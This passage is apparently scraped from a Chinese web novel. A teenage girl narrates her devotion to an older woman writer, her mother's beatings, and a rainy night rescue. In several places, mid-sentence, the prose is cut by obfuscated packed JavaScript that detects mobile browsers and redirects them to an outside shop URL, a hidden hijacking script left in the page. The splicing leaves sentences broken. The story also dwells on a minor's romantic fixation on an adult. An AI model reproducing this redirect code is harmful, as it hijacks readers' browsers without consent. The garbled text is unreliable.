余杭清怎么值得喻衍迸发出如此浓烈的情绪。 喻衍亲吻余杭清的脸颊,像是逗小孩子,但是余杭清喜欢喻衍说晚安时亲吻自己的额头。 长长的头发,会落到她的脸上,身上,笼罩住她包括肩膀和脑袋在内的上半身,抬起头能看到晃动的影。她总是吻她的额头,走之前还要说一句。“我爱你。” 余杭清觉得亲吻额头是一种虔诚的祝愿,带着那种尊重和怜惜,像花瓣一样柔软的轻轻的贴上去,然后说一声晚安。 很早的一个梗了,喻衍说,“晚安和我爱你是同一个拼音。” 但是余杭清喜欢喻衍说我爱你。 并且喜欢跟喻衍说晚安。 每一句晚安后面都藏着一句我爱你。 余杭清无可救药的爱上了一个大自己十几岁的女人。 余杭清近乎痴迷的喜欢喻衍亲吻她的额头,当然奖励性的亲吻脸颊也正常。 虽然完全没有余杭清在文学作品里面看的接吻,真想这样亲喻衍一下,把喻衍吓成孙子。 喻衍肯定也没试过,因为喻衍完全都没写过那种很很激烈火辣的那种热吻,舌头在嘴巴里抽来抽去的那种。 喻衍的文章真的是清水的可怕呢。 很多人都怀疑喻衍没有“开车”的能力。 余杭清就有些卑劣的窃喜高兴,那很好了,或许她没有在漫长的人生旅途中提前喜欢上别人。没有这样亲密关系的经历。 总是希望喻衍因为余杭清而露出不一样的神情,像小说里写的高岭之花走下神坛。 不过喻衍显然不是什么高岭之花,生活自理能力有时候很强,又有时候像个弱智一样。 热衷于做奶茶的时候,要么熬出来的焦糖焦糖奶茶非常成功。是那种带着焦糖的微苦和甜韵,又带着茉莉花的苦香,迸发出漂亮的美拉德反应,淡的漂亮的焦褐色的黄。 那种焦黄色,像她的眼睛一样漂亮。是上面有熬了碎开,冷却下来的一点小泡泡。像星球表面似的坑坑洼洼。于是看到她捧着奶茶的手,插了吸管,撅起嘴巴吸,眼睛亮晶晶的看着余杭清。“你尝尝嘛。” “我做了好久的,肯定能成功。” 有时候又会把茉莉花熬得非常苦,完全不像茉莉花,然后因为炸焦糖还炸过好几个微波炉里的白瓷碗,差点烫伤喻衍自己,碗刚拿到手上就裂开,里面的焦糖液跌落下来,在脚上烫出好大一个泡。 那个时候其实已经不在乎这是哪儿了,看到关心的人受伤,实在是一种特别难受的事儿。 余杭清甚至记得自己那天胆大包天的跟喻衍讲,“你不要再碰这么烫的东西了,以后咱家这东西都过来拿,你不行就点外卖,你又不缺这几个钱。” 余杭清一边回头说喻衍,一边捧着喻衍的脚仔细查看,往上面先涂了碘伏消毒,又用生理盐水脱碘,才涂了烧伤的那个有点芝麻香的药膏。 余杭清知道喻衍是怕烫的 她很怕这东西。 喻衍手腕上有一个疤,之前被开水烫过。 可是喻衍总是这么兴致勃勃的做一些厨艺实验,乐此不疲。 这蠢东西怎么就不知道怕烫呢。 余杭清突然萌生了,想学着。给喻衍做一些想吃的东西的想法,喻衍想做,无非就是别人做的不那么合喻衍心意,那余杭清来做就好了。 余杭清来做喻衍这个想法的实践者,哪怕做坏了,做塌了,就算做爆炸了,炸死的也只会是余杭清,喻衍只用坐享其成就好了。 那天余杭清去做焦糖奶茶,还真的做成了,因为喻衍很自信,做的时候给茉莉花全倒下去了,所以余杭清不得不用它用于招待客人的毛尖,不过那个好像更容易成功一点。 余杭清看到焦糖微微发红的时候就开始往里面倒牛奶,特别特别成功,锅也不难洗。因为糖完全融化在牛奶里了,用纱网过滤过之后就是完美的奶茶。 余杭清开始感恩上苍。 老天爷真是眷顾她余杭清,如果余杭清能做成功,能做的让喻衍喜欢的话,喻衍就不用自己动手了。 如果可以,余杭清希望喻衍身上不要有任何一个伤疤,特别是不要有一点被烫到,烫伤很痛的。 余杭清身上也有那样的疤,很早了。 早到余杭清都忘了那样的痛是什么样了,可是看到灼热的糖浆滴在喻衍脚背上的时候,又如梦初醒般想起那样剧烈的撕扯皮肉的疼痛,舍不得。 这种舍不得说的重了,就是那种痛彻心扉的感觉,但是痛彻心扉看起来又太过肤浅,其实余杭清的文学造诣很差。 只是本能的想说余杭清喜欢喻衍,看到喻衍,喻衍痛,余杭清就好像比喻衍更痛。 余杭清好像总是差一截。 余杭清好像写不出什么好文章。更别提喻衍那样新奇的思路,曲折的情节发展,特别的立意,每一样都让余杭清读来如获至宝。 就对喻衍更加推崇。 甚至有时候会庆幸喻衍伤的是脚,而不是手,这样就不影响打字了。 真是个很很刻薄的人啊,余杭清本来应该只心疼喻衍的,心疼里又多了点说不清道不明的权衡利弊,喻衍一个成年人都没这样,就余杭清一天莫名其妙的胡思乱想。 可是余杭清忍不住试探喻衍的底线,忍不住跟喻衍讲,“我有一天甚至想,还好你伤的不是手,不然就写不了东西了。” 喻衍说,“没事儿啊。本来就是这样,真伤了手我又不高兴。” 余杭清忍不住跟她强调自己那点说不清道不明的庆幸。“你不觉得这种庆幸很奇怪吗?有一种幸灾乐祸的感觉。你受了伤,我还在高兴?” “作者靠手吃饭的唉,宝宝,手没受伤肯定是更更好,你想那盘子从那裂开。” “手受伤的概率其实更大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后叮嘱她。“下次不要再看这么久电子产品,你看你自己头疼的时候难不难受?” 用手抚摸喻衍头发与脖颈的交界线,看着喻衍有些痒的躲开。甚至有意不经意的撩过喻衍的耳垂,看到喻衍的耳朵连带着侧脸一点点微微变红。 这是余杭清很喜欢的小乐趣。 就像余杭清在曾经的一本小说梳理时间线的时候,所幻想的那样。余杭清自己写的小说,或者说余杭清自己一定要在高一那年,十六岁,有一个喜欢的人。 余杭清喜欢上喻衍了,连带着喻衍的脆弱。 余杭清曾经一度以为这种喜欢别人脆弱的一面,想要怜惜和守护喻衍是一种十分伟大的爱,可是真的伟大吗?这种所谓的伟大跟高尚是余杭清自封的。 是余杭清有机会靠近喻衍的原因,所以余杭清喜欢,可是余杭清看到喻衍痛苦的脸,看到喻衍有时候疼的甚至冒起青筋的额头,看着喻衍苍白的脸上淹出大的汗珠珠,看见喻衍直而挺翘的鼻尖兜住那些汗,看着那双琥珀色的眼睛氤氲出泪意。 余杭清真的爱喻衍的话,怎么舍得喻衍难过? 可是这就是喻衍的工作,喻衍必须保持时刻的头脑清醒和知识输入,而喻衍这样懒的人又实在不愿意去图书馆,实体书搬上搬下也麻烦。 看小说是喻衍的习惯和爱好,也是喻衍这份工作所必须的生存手段。 尽管喻衍现在可能不再靠小说做兼职赚钱了,网店收入也很可观,但这是喻衍喜欢的事情,是喻衍愿意为之奋斗一辈子的事业。余杭清并不能阻止喻衍。 她能做的工作仅仅只是在喻衍有些不适的时候替她揉揉头,只是卑劣的借着这一点难过靠近,所以连着脆弱一起欣赏。 她们说怜惜是一种伟大的爱。 可是我的心疼怎么就显得这么卑鄙? 夹杂着并不纯粹的自私。 本能的想贴近你。 24. 第24章回我们家 周末放假那六个小时是正常回家的,后来四个周又会放一个大周,就是一个月,有一次两天的假。 六个小时这种比较短的,余杭清还可以死乞白赖的赖在家里,反正余杭清作业也写不完。扭头给妈妈打个电话说一声,“妈,我这周待在姐姐这里,有个数学题不会,她得给我讲清。” 衣服还得用洗衣机洗,很麻烦,有时候还晾不干,而且余杭清校服从来不会让喻衍帮余杭清洗,余杭清觉得这种惯例式的,余杭清自己能完成的任务,不需需要喻衍来费事儿,余杭清甚至会帮喻衍洗。 余杭清回来的第一件事永远都是洗衣服。 一到家立马扑到床上,然后脱了外衣。再做贼似的,穿着保暖线衣,踮着脚,跑进喻衍的屋子里。从脏衣篓里拿出她的睡衣。 喻衍喜欢穿那种很古早的纯色简约睡衣,就是那种法兰绒或者莫代尔的长袖。套头式的,裤子也没什么特色。 但是余杭清喜欢她睡衣上的气息,抱着那衣服往厕所走的那一路都忍不住慢下来,像散步似的一步一步踏过去。 她总爱穿的就那么两套,余杭清就直接手洗。先挤上一点洗衣液,那种薰衣草香,最普通的那种。 倒上去。泡在水里,用手指绕着圈圈搅起一个个涟漪,然后水就绕出一个小漩涡,出现泡泡。 喻衍的衣服就和她扔进洗衣机里的校服一个味道。 余杭清喜欢混杂在一起的香气,喜欢满足自己关于情侣同居的念想。 喜欢做梦,幻想她们已经在一起。 于是她总是撒谎,总是跟妈妈说自己有这个作业不会,那个问题不答。什么东西需要指导,什么竞赛需要参加。 可是放两天,余杭清就必须得回到余杭清自己的家里去了,余杭清家终于从之前的出租屋搬到了新的房子里面,余杭清还挺高兴的,毕竟是个长假,家里也有WiFi。 等上学那天提前走,还可以让喻衍送她过去。 对于学生来讲,放假简直是世界上最幸福的事情没有之一。 所以哪怕是回家也显得开心。 余杭清到现在已经忘了当初是因为什么事情吵起来了,余杭清只记得妈妈用那个扫把后面那根棍抽余杭清。余杭清觉得抽的自己痛死了,背上肯定青的都起棱了。 余杭清确实是坏小孩啊,一点感情都不讲的,痛的不行,就让妈妈跟她一起痛。 “你竟然为了他打我,凭什么?!是他先弄伤我的!我背后面到现在都还是青的!”余杭清还了手,巴掌闷闷的拍在母亲的背上,眼里却通红,有泪滴。 “他打你能疼到哪里去?你还能让那么小一个小孩掀翻了,背疼活该,背疼别找我,你自己跟你弟说去!”女人的表情看起来像毫不在意,他摆着手不肯承认自己有错,只是僵硬的用笤帚打着余杭清的背。 她不在乎她背上有没有伤,不在乎余杭清如果不顺着弟弟的动作倒过去,那么惯性之下,她往前一躲,翻出出去,摔倒的就是弟弟。 余杭清解释不出来,到后面就麻木了,只记得只言片语。 “你弟弟还那么小,你怎么能动手打她?简直是狼心狗肺的东西!” “你还敢打我,你简直就是个白眼狼!” “这个房子有我的一半,等你到了十八岁就把你撵出去。” 其实余杭清的房间更像是一个客房,余杭清什么时候不是被撵出去的? 余杭清急需一个不会把余杭清赶出去的家,余杭清太想要了,所以余杭清掉着眼泪抖着手一遍一遍的打字,终于打对了喻衍的名字,然后在通讯录隐藏的最底下拨通了喻衍的电话,哭着跟她讲,“姐姐,我好怕,你可不可以来接我回去?” 喻衍的声音里带着那种被吵醒的不悦,但是被压的很深,偏偏余杭清又敏锐的捕捉到了,可是那种温柔的安抚意味更重,喻衍说“宝贝不哭,你现在就在家对吗?我现在到楼下扫个小电驴儿,十分钟就过去。” 没有虚假的时间承诺。没有像其她大人一样,还要跟家长协调,她只是说要到楼底下扫个小电驴。 因为余杭清怕冷,有时候骑电动车她会不太开心。 那天凌晨三点骑着小电驴来接余杭清,因为那辆电车晚上没充电,喻衍总是围着余杭清打转。 随着送余杭清上学的固定里程,算出多久充一次电,而余杭清回了家,那辆车就放在那里。 那天其实下了雨,小电驴根本不好骑,余杭清觉得都在打滑。非常害怕。喻衍的头发被束成一个散乱的马尾,脸两边贴着被风雨吹乱的头发须子。有些粘在了脸上,衬得喻衍整个人形容狼狈。 可是那是凌晨三点,喻衍骑着小电驴来接余杭清,余杭清就只觉得喻衍是救世主。 她记得她不知道是感冒还是发烧了。看着喻衍的时候,眼睛里都有迷蒙的重影,一直絮絮叨叨的讲着话。 “姐姐。” “嗯。” “你真的来接我回去。” 如果没在骑车的话,喻衍估计会回头瞪她一眼,虽然她趴在背后抱着喻衍的腰看不见,“废话,不然我现在在哪?” “早跟我说不愿意回去,我就给你妈找个借口说你在咱们家。” “可怜见的,你等姐姐啊,我马上过去。” 真的老狼狈了,余杭清现在还记得喻衍穿的是啥,底下随便套了一个宽筒牛仔裤,上面还是个睡睡衣上衣,然后外面套了一个羊毛大衣,脚上还穿着凉拖鞋,完全不伦不类的就来了。 余杭清从来没有见过喻衍那么狼狈的样子。 连扁塌的山根和看起来有些肉的蒜头鼻都起来凌厉冷淡了许多,因为过分瘦,喻衍的下颌线总是很清晰,眼镜已经完全被雨水淋湿了,吧嗒吧嗒往下滴着水。 喻衍从妈妈的手中接过了余杭清。很严肃的跟妈妈讲,“余杭清家长,我不知道您和孩子闹了什么样的矛盾,但是不管怎样,这么冷的天,起码不能让孩子滚出去。今天人我先带走了,到我家住两天。” 不像征求意见,而像是一种通知。她的话语像仲秋冷冽的风。枯黄的狗尾巴草。分不清话语中更多的是失望还是惋惜。 可她在失望什么呢?失望自己的母亲如此偏向于弟弟,其实也没那么必要感同身受,不是什么好事情,还是惋惜自己的遭遇,其实也没什么好惋惜,家里三个女孩子不都这样过的。 自己还有喻衍,她们有什么呢? 有这人已经足够幸运。 余杭清在心里默默补上一句,永远不会把我赶出去的家。 我和姐姐家里房产证上可是只有我的名姓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819989|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不管余杭清的爷爷奶奶下来还是外公外婆来,甚至是任何其喻衍的重要的不重要的亲戚,都可以住在余杭清的房间里,也不用管弄脏了或者什么东西,反正余杭清回来自己会收拾的。 甚至于余杭清的手机就是喻衍们换下来的老手机,好不好用先不说,有一次都送给余杭清外公了,余杭清又拿回来。 其实余杭清真的很不好意思,但是余杭清没有招,余杭清只有那一个手机,余杭清不可能开口向喻衍索要如此昂贵的东西。 余杭清离不开手机,余杭清不知道为什么,虽然余杭清没什么跟别人交流的。 它对余杭清来说不像一个通讯工具,更像是一个小说阅读器,莫名其妙读一些书,然后莫名其妙发一大堆牢骚给喻衍,然后就好了。 余杭清总是说小说在治愈余杭清,但是其实很奇怪,因为余杭清的精神状态比较差,跟小说也有关系。 如果余杭清不知道世界上有一些那么好的东西的话,余杭清就不会这么难过了,反正大家过得都一样的烂,一样的完蛋。 余杭清连跑路的时候都是紧紧攥着的手机跑路的,就那么直接穿着嗯单薄的夏天睡衣上了喻衍的电动车,坐在后面紧紧搂着腰,想要感受喻衍的存在的时候,带着清浅木质香味的羊毛大衣,兜头就罩到了余杭清的身上。 是很好闻的女士香。 可是喻衍在前面哎,要挡着风,喻衍明明更应该冷的,余杭清只是哭的看起来惨,其实余杭清没那么惨,家里那个时候其实不冷。 余杭清脱下来要还给喻衍,就看到喻衍紧抿的唇角,啪的一声打在余杭清的脑门上,“穿好。” “待会儿我骑车带你回我们家。” 带着喻衍体温的热腾腾的大衣披到了余杭清背上,暖烘烘的,一下子整个人都像烧起来。 那种细细密密的香气儿。从衣领向上传过来,让余杭清忍不住把脖子往里缩了缩,连带着脸颊一起裹到大衣领里。 “姐姐,你怎么这么好啊?” “我好喜欢你。” 喻衍打余杭清,余杭清也只想笑。 喻衍人怎么这么好。 余杭清再也找不到一个能让自己更喜欢的人了。 喻衍知不知道余杭清喜欢她? 余杭清不知道。 只是看着喻衍一步跨上电动车,为她留出后面的大片座位,然后回过头来,对着她灿然一笑,“上车啊,还要我请你?” 余杭清自然不用她请,吸溜着鼻涕朝她一笑,用僵硬的手指撑在座椅上胳膊肘一硬,一条腿就架上去。“那不用,咱俩谁跟谁呀,害。” 两个人还有心情开玩笑。 竟然也不算糟糕。 到了冬天小黄车的座椅就会变得很冰那种人造皮革的凉意很容易就透到薄薄的睡衣长裤里去。 “嘶,好冷……” “感觉我的腿都不是我自己的了。” 身上披着的廓形羊毛大衣把那点儿冷意推出去,只加在两边的腿有些冷,特别是连一个薄睡裤都没有的脚踝,那种冻的感觉就越发清晰。 叶子落了个干净,地上就只剩下枯黄的草,头上是落得干净的枯枝。 余杭清不怕冷了。 冷风呼呼的吹过来,喻衍就是她的羊毛大衣。 25. 第 25 章喜欢喻衍一辈子 小电驴前面连个风挡都没有,余杭清总听喻衍说“不安全,我们有车,偶尔骑一骑,有备选的情况下,一定是安全更重要。” 可是她自己着急赶路来接余杭清的时候,还不是全无顾及。 可是当冷雨,落在脸上,头发上的时候,余杭清甚至觉得有些享受,然后把喻衍给余杭清的羊毛大衣往身上又裹紧。 雨滴粘在喻衍的头发上,一颗一颗的像晶莹的露珠,像公主的王冠上点缀的硕大珍珠,在路灯底下闪着光,折射出,令余杭清几乎有些眩晕的色彩,最耀眼夺目的钻石也比不上喻衍此刻头发上的水。 让她甚至想用手接了带回去。 喻衍的头发只是胡乱扎了个低马尾,贴在背上,被风吹的凌乱,余杭清得得避开喻衍的头发从侧面把自己的脑袋搭在喻衍的肩膀上,搂过去,然后把头发放在余杭清的肩膀之后。 得亏喻衍头发长,不然余杭清这样奇奇怪怪的放法,总感觉下一秒就要掉了呢。 可是放在中间的话,车稍微一颠簸就会扯到喻衍的长发,喻衍的头发养的很漂亮的,每次洗头发都要好久好久,又是护发素,又是发膜,有时候还会去焗个油,完全是那种绸缎一瀑布一样的柔顺,飘逸。 余杭清下意识觉得不舍得,可这是余杭清在那个时候能想到的最优解,放到后面就不会扯到了。 而喻衍全然纵容着余杭清,纵容着余杭清不论怎么做,容许她贴上去,“注意安全,坐稳了,别只知道把我头发弄来弄去。” 喻衍的身上很快已经湿透了,因为冷雨是前面来的,而余杭清在后面试图用大衣裹着喻衍的腰背,即使大衣再宽松,也不能完全贴到前面去,把两个人完全包裹。“姐姐,我们贴紧一点,下雨好冷。” “可以用大衣把我们裹在一起。” 余杭清被喻衍的身体冰的一激灵,然后饮鸩止渴的再贴上去,试图用胸腔传递热量温暖喻衍。 余杭清后悔了,就应该跟喻衍犟,喻衍骂自己也行。 “对不起……” 这么冷的天,怎么能不穿衣裳?喻衍身子又弱,明天感冒发烧了怎么办。 愧怍像云雾,一点点笼罩住余杭清的心。 喻衍并没有指责她。 余杭清甚至希望喻衍怨恨余杭清,埋怨,轻微一点的埋怨也可以。 这种予取予求的好,对余杭清来说太超过了,没有人会这样对待余杭清,更别提这种舍己为人的行为,余杭清讨厌别人牺牲自己,为了余杭清。“我怎么配呢?” 可是这个人是喻衍,她就只怨她不爱惜自己。 余杭清当然知道余杭清想要活下去,知道自己想要的是什么。 余杭清不需要别人来迁就余杭清。 要么公平分配,要么各凭本事,迁就余杭清,就像是余杭清在欺负你一样。 余杭清并没有想这么做。 可是在喻衍这里,余杭清好像总感觉不到喻衍在迁就余杭清,因为喻衍在向着喻衍,纵容喻衍的时候,总是像花瓣包裹着花蕊,温柔的拥抱着细细密密的雨水渗进了土壤的各个方位,浸润着干涸的土地,然后又不那么明显的生发出来。 “好喜欢你……” 让人自然而然的就忍不住贴上去。 总是安静的陪着余杭清,总是在余杭清一回头就能看得到的地方,微笑的看着余杭清,做余杭清的港湾。 像那一阵子痴迷港风文,就会风情万种的一笑,然后冒出一句,“怎么?想我了?bb。” 不论是当初干脆利落,锐不可当的短发,还是如今,柔软蜷曲,顺泽漂亮的长卷发,只要是喻衍的头发,在余杭清看来就有种难以言喻的吸引力。 尽管放了假用的是一样的洗发水,喻衍的头发就是比余杭清的香。 余杭清既心疼喻衍的头发落下来,又忍不住在枕头上收集喻衍掉落下来的头发,贴在笔记本里,时不时嗅闻,如同变态一般的贴近。 后来听喻衍讲故事的时候才发现,其实这样把喻衍扎起来的头发放到余杭清的背后,其实让喻衍的脑袋有一种往后坠的感觉,并不舒服,骑电动车也不安全。 余杭清就问她,“那天为什么不说,默许还是同意?” 就看到她那双泛着粉意的漂亮眼睛,“那倒也不算你不开心,所以忍一会儿你。” 余杭清当时不知道该怎么办,眼眶一定红起来了,眼睛里那种滚烫的泪意,怎么压也压不下去,伸手一摸,果然是水润的冰凉。 喻衍这个人怎么能这么好呢。 余杭清究竟有什么样的魔力,值得喻衍这样的纵容和娇惯? 余杭清爸妈大概都不愿意的,喻衍凭什么? 凭什么一直在做这样亏本的生意。 哪怕是喻衍最喜欢的长发,比起余杭清,竟然也显得单薄,在天平的一端高高翘起,然后毫不犹豫的被翘起的天平抛到身后去。 余杭清才是那个单薄的,什么都算不上的羽毛。余杭清才是那个被毫不犹豫弃如敝屣的东西。 突然就理解了,很久之前看那种霸总小说里面写的,你连她一根头发丝都比不上。 是的,如果是喻衍的话,余杭清承认,余杭清连喻衍的一根头发丝都比不上。 那么漂亮的头发,余杭清怎么比得上呢?顺滑亮泽,连卷度都仿佛精心设计好的凌乱美,随手扎起来,发丝飞扬之间,透过阳光是那种漂亮的金棕色,仿佛在发光。 余杭清如同崇敬神明一般喜欢着喻衍,人怎么能不喜欢喻衍。 余杭清坐在小小的电瓶车后座,在前面的某个路口,车被喻衍停下,开始准备还车。 因为这是离喻衍家最近的共享电动车停放点。如果不从这儿停下的话,待会儿喻衍要一个人过来还车,这样冷清的天气,喻衍好不容易把余杭清接出来,不会舍得余杭清跟着。 而余杭清脾气犟,硬要跟的话,余杭清们两个一定会吵一架。然后喻衍带着余杭清过来一起还。 喻衍总拒绝不了余杭清。 余杭清清楚这一点,并加以利用。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819990|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>喻衍真是个很矛盾的人啊,对余杭清这样好,又这样冷淡,余杭清经常看到喻衍对着余杭清笑,喊她“宝宝。” 可是喻衍老说爱余杭清,喜欢余杭清,总是很轻浮,逗小孩似的,“喜欢姐姐啊,姐姐也喜欢你~” 讲真的,余杭清求喻衍,喻衍对余杭清有一些企图好吗? 可是女人对女人能有什么企图呢? 这样的企图,不知道对不对劲,或许余杭清只是小说看多了,脑子发懵,想试试看而已,身边又唯一有喻衍足够亲近。 亲情有血缘关系,爱情有生理吸引,只有她们的感情,余杭清不想把它粗略的划归到友情里,可喻衍也是余杭清亲自选的家人,是余杭清那么多情绪的唯一盛放点。 在被家里赶出来之后,余杭清对喻衍的依赖就几乎到了病态的程度。 在喻衍停车的时候,余杭清的目光就一眨不眨的箍在喻衍身上,余杭清看到喻衍有些不自在,整个身躯仿佛都僵硬了,薄薄的短袖贴在身体上余杭清甚至能看到喻衍内衣肩带的轮廓。 这样甚至可以称之为瑕疵的东西在余杭清这儿,反倒像是一种亲近的认证,所有人都没见过,只有余杭清见过,余杭清就是比这些人厉害。 余杭清想哭,可是刚刚跟妈妈吵架的时候,好像已经把眼泪流尽了,眼睛干涩到流不出眼泪来。 可是喻衍伸手过来,还是那只小学生手,余杭清总是看着喻衍的手背和短细的骨节笑。 喻衍的手很白,很嫩,握上去的时候像握了块豆腐,温热的。 喻衍说“去吃饭吗,bb?”只要她这个人站在那里,就永远留给余杭清一份安心。 余杭清木着脸说,“好。”心里却实在忍不住怀疑。 凌晨三点谁给喻衍做饭? 不过还真有人做饭,这边夜市一般是凌晨四点结束,只有四点到五点之间,很多早餐店没有开门,夜市又没关的时候没有饭吃。 大晚上的,不知道喻衍怎么想的,给余杭清点了一大碗裤带面。巨大一碗,面前给她放一个又有面汤,里面放着裤带面的盆,然后两碗蘸水,西红柿鸡蛋的,上面浇着油泼辣子跟蒜蓉香葱。 雾气氤氲上来的时候,余杭清觉得喻衍真是个人才,喻衍怎么知道她想吃这个,喻衍大半夜被余杭清吵醒了,不想着回去睡回笼觉,带着余杭清来吃饭来了。 可是喻衍只是在店家那儿借了个勺,一声不吭的把余杭清碗里的油辣子舀到了喻衍碗里,尽管有些辣椒油已经混开了,舀不出来,不过看喻衍的样子,大概一开始也没想着全舀出来。 余杭清问她,“你知道我能吃辣的,挑出来干嘛?吃饭不就吃辣椒这股子香气吗。” 可是听喻衍说,“你哭过了,嗓子很哑,我怕你痛,听话好不好?以后还会吃很多次,你想加多少辣椒就加多少辣椒。” 怎么会有这么好的人呢?几乎是戳着余杭清的心窝子讲话。余杭清又怎么能够不执着? 喜欢喻衍一辈子好吗? “好的。” 26. 第 26 章还是你好闻 有些刻意的,余杭清看着喻衍冻得有些发红的脸,用手背去探,果然像冰块似的冷。还是不由分说般的脱了大衣盖在喻衍身上,余杭清的体魄可比喻衍强健的多。“你穿着吧,我这会儿不冷了。” 喻衍这回没再拒绝了,因为室内没有风,煮面的地方有蒸汽,小吃城里面很暖和。“嗯,好的。” 余杭清真傻,真的。 这样的地方,人怎么会感觉到冷呢?余杭清简直是个蠢货,这个时候把外套给她,直接就是增加喻衍的负担,完完全全的累赘。 披了一会儿,大概是觉得热,喻衍还是拿下来,稍微叠了叠放在腿上,大衣上还有外头的冷雨,连喻衍的裤子也弄湿了。余杭清清晰的捕捉到女人皱起一瞬的眉。 余杭清伸手捏筷子的时候,感觉手都冻得有些麻木了,指头跟指头并不到一起去,夹一根面,夹了又从筷子上滑下去,还是喻衍帮忙才弄到碗里,像一条狡猾的游鱼。 狼吞虎咽的吃了两根长面,才感觉自己有些回暖过来,自然而然地从喻衍的大衣口袋里拿出几张抽纸。坐在喻衍身边替喻衍擦被雨淋湿的刘海和头发。 轻柔再轻柔,像是对待婴儿那样。大概还不够。 伴着喻衍身上那种很淡很淡的。木质香气夹杂着洗发水的柑橘香。喻衍大概洗了头没多久,估计就是今天晚上洗的,盖得喻衍身上的木质香气都变淡了,没有平常那么好闻。 “讨厌洗发水……” “还是你好闻。” 平心而论,更香甜的果香是余杭清大致上更能接受,木质香显得太高调也太枯朽,时光的沉淀,真的有了味道,显得干涩。 其实更多是余杭清这个俗人品不来,但放在喻衍身上,这种可以简而概之为苦的气味,竟然也显得香。显得特别。 余杭清专心致志的擦着喻衍的头发,几乎是以一小绺一小绺的单位,而喻衍垂着头吃饭,小口小口的嚼。时不时搭一句。 “什么破词?” “你形容人用好闻?” “文学素养吃到狗肚子里去了?” 这种裤带面很筋道,又很长,吃起来须得大快朵颐,小口小口的就没什么食欲,可余杭清还是觉得喻衍吃的赏心悦目,甚至称得上秀色可餐。 “哪有?” “觉得你香不行?” 喻衍有些不高兴,“好无聊,夸点别的,比如今天的发型好不好看?” “好看的,怎么样都好看的。” 这可是喻衍。 女人怪她敷衍,狠狠地剜她一眼,就低下头继续吃饭去。 香水喷在喻衍身上,就让余杭清觉得有一种特立独行的高调,一种明媚又忧伤的树木。却又极富生命力,即便是大风也不能将它连根拔起。坚韧,有力量,像木槿。 余杭清几乎有些失神的捧着喻衍的秀发嗅闻,而喻衍好像丝毫没有察觉似的,任由余杭清捧着喻衍的发尾。还指指点点的叮嘱,“乖啊,小宝,离远一点,还有记得擦嘴。” 余杭清开始庆幸,这样小的县城在性向方面还不那么太开放,大家对同性恋也没什么意识,所以余杭清才能靠喻衍靠得这么近,而不被人推拒远离。 可是喻衍真的没意识到吗?余杭清捧着喻衍的头发,余杭清离喻衍那么近。 每次一起睡觉的时候,喻衍看小说,余杭清从喻衍的背后看喻衍屏幕上看的是什么,很快就被喻衍发现了。 她总说,“呼吸打在耳侧特别痒。别靠那么近。” 那么余杭清凑这么近擦喻衍的头发,喻衍又怎么能安之若素地吃饭呢? 像是她已经默然允许了一样。 简直是勾引余杭清。 好不容易克制住亲吻发丝的企图,其实已经隔着一段距离触碰到了,但当着喻衍的面,余杭清还是觉得有些难以言喻的羞耻感。 把喻衍的头发放了回去。看着它们状似整齐的落在喻衍的肩上,背上披散开来。 喻衍后头自己做网店的模特,对身材的控制就显得几乎严苛,从来不会在晚上吃东西的,甚至于晚上六点之后,就碰也不碰,四点之后就只喝水了。 只有余杭清喂给喻衍的零食会吃。 那么为什么又有了今天晚上。这么晚了,两个人分食一碗面。 其实喻衍吃的并不多,只是一根而已,正常小份就是三根裤带面,然后一块五再加一根这种,她们甚至都没有加。 但就是这一根,余杭清也觉得喻衍为余杭清破了例,因为喻衍对自己实在显得严格,尽管喻衍对余杭清算是宽松。 但是什么东西都放开吃,尝过了之后也觉得没什么,就比如昨天喝的焦糖玛奇朵。 只是有点微苦的牛奶咖啡而已,甚至因为喻衍习惯加很多的糖,都不那么苦了。只是常出现在青春小说里,显得高级又神秘,如同云朵一般,听着就飘飘欲仙。 余杭清拿着她喝过的咖啡,细细品尝,甚至就用同一根吸管,在她小口小口嘬饮的地方含下去。 是间接接吻唉,有些隐秘的开心。 可也觉得不好喝。 尽管喻衍总买什么都给余杭清带一个,可是咖啡这东西实在是不好喝。又苦又涩的,不知道喻衍为什么总是不离手。 这边不好好喝,那边自然也就不怎么带了,还是热衷于各种奶茶果茶。甜滋滋的味道才好。 余杭清可以理解喻衍这种得到满足之后的淡淡倦怠,甚至为之感到骄傲。 喻衍可以满足自己的欲求,所以无欲无求,想要的时候再去拿就好了,反正钱放在这里,东西放在那里,你并不是这一顿不吃,喻衍下一顿就消失了。 可余杭清从前是这样的。 于是到了现在吃东西的速度也快,狼吞虎咽的,要不就是看着书,看着手机,慢慢吞吞的磨蹭。 可这样喻衍也等着余杭清,喻衍吃的比余杭清还磨蹭呢,虽然喻衍不看手机,也不看书。 余杭清吃的这样快,几乎是给喻衍剩了一根放在那儿,虽然这样真的很不好,而且喻衍还算得上是长辈,可是喻衍总纵着余杭清,余杭清就总以为这样是正确的,没有关系的。 余杭清有些迟疑的问喻衍,“你为什么不怪我磨叽。” 